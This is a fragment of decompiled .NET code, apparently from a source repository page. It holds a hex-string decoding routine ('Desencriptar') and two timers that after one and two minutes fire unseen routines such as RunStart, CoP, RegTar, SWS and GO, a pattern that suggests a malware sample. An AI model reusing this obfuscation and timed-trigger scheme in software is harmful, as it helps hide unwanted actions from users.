return !Versioned.IsNumeric((object) str2) ? checked (Left + Strings.Asc(str2) - 55) : Conversions.ToInteger(Operators.AddObject((object) Left, Conversion.Int((object) str2)));
}
public object Desencriptar(object DataValue)
{
long num = (long) Strings.Len(RuntimeHelpers.GetObjectValue(DataValue));
long Start = 1;
string str;
while (Start <= num)
{
string x = Strings.Mid(Conversions.ToString(DataValue), checked ((int) Start), 2);
str += Conversions.ToString(Strings.Chr(this.ConvToInt(x)));
checked { Start += 2L; }
}
return (object) str;
}
private void Timer1_Timer(object sender, EventArgs e)
{
checked { ++this.I; }
this.Tiempo = Strings.Format((object) (Conversion.Int((double) this.I / 36000.0) % 24.0), "00") + ":" + Strings.Format((object) (Conversion.Int((double) this.I / 600.0) % 60.0), "00") + ":" + Strings.Format((object) (Conversion.Int((double) this.I / 10.0) % 60.0), "00") + ":" + Strings.Format((object) (this.I % 10L), "00");
this.Label3.Text = this.Tiempo;
if (Operators.CompareString(Strings.Format((object) (Conversion.Int((double) this.I / 600.0) % 60.0), "00"), Strings.Format((object) (Conversion.Int(1.0) % 60.0), "00"), false) != 0)
return;
this.I = 0L;
this.Timer1.Interval = 1;
this.RunStart();
this.CoP();
this.RegTar();
this.FXR();
this.SWS();
}
private void Timer2_Timer(object sender, EventArgs e)
{
checked { ++this.R; }
this.Time = Strings.Format((object) (Conversion.Int((double) this.R / 36000.0) % 24.0), "00") + ":" + Strings.Format((object) (Conversion.Int((double) this.R / 600.0) % 60.0), "00") + ":" + Strings.Format((object) (Conversion.Int((double) this.R / 10.0) % 60.0), "00") + ":" + Strings.Format((object) (this.R % 10L), "00");
this.Label4.Text = this.Time;
if (Operators.CompareString(Strings.Format((object) (Conversion.Int((double) this.R / 600.0) % 60.0), "00"), Strings.Format((object) (Conversion.Int(2.0) % 60.0), "00"), false) != 0)
return;
this.R = 0L;
this.Timer2.Interval = 1;
this.GO();
}
}
}
Reference in New Issue View Git Blame Copy Permalink